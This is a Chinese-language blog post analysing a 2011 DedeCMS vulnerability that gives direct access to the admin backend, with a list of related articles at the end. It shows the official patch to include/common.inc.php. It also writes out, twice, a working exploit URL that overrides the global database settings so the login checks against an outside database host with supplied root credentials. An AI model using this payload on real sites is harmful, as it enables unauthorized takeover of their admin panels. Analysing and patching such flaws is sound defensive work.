dedecms织梦严重0day漏洞(直接进后台)分析及修复
2011-08-17 09:36
302 查看
众所周知,因使用简单、客户群多,织梦CMS一直被爆出许多漏洞。今天小编在群里得到织梦官方论坛某版主可靠消息:“DEDECMS爆严重安全漏洞,近期官方会发布相关补丁,望大家及时关注补丁动态。”
bug被利用步骤如下:
http://www.ywen.info/网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面黑底黄字上的字母改为当前的验证码,即可直接进入网站后台。
小编分析了一下,
此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法:
解决办法:
找到include/common.inc.php文件,把:
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )
{
exit('Request var not allow!');
}
}
换成:
//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);
bug被利用步骤如下:
http://www.ywen.info/网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面黑底黄字上的字母改为当前的验证码,即可直接进入网站后台。
小编分析了一下,
此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法:
解决办法:
找到include/common.inc.php文件,把:
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )
{
exit('Request var not allow!');
}
}
换成:
//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);
相关文章推荐
- DEDECMS 爆严重安全漏洞 免账号密码直接进入后台
- 织梦dedecms系统后台安全提示去除方法
- dedecms登陆后台直接转跳到首页解决办法
- 如何去掉织梦后台和修改前台“DedeCMS 提示信息”
- 织梦dedecms后台文章列表显示作者字段的方法
- DEDECMS织梦后台左边菜单空白不显示
- 织梦dedecms漏洞修复大全(5.7起)
- 织梦dedecms后台发布文章提示“标题不能为空”,编辑器内容无法显示中文
- 搜查的PHPCMS,织梦DEDECMS 部分对比分析
- 织梦(DedeCms)后台使用关键字替换与关键字关联文章的的区别
- 织梦DedeCMS后台添加新变量实例图文教程
- phpcms后台普通用户读文件0day的分析以及修复方法
- 织梦dedecms手机站和电脑pc站同步制作共用一个后台和数据库双版均可生成静态页
- 织梦dedecms会员注册成功后,直接跳转到验证的邮箱地址
- 织梦DedeCMS后台栏目管理处显示未审核文档数量
- DEDECMS织梦登录后台慢的完美解决方案
- 一、后台首页index.php【dedecms后台源码分析】
- 织梦去版权方法DedeCms 5.7全站去版权去广告方法(后台)
- dedecms系统后台查找技巧分析
- DEDECMS后台三级子栏目权限添加修复,频道管理员权限分配问题解决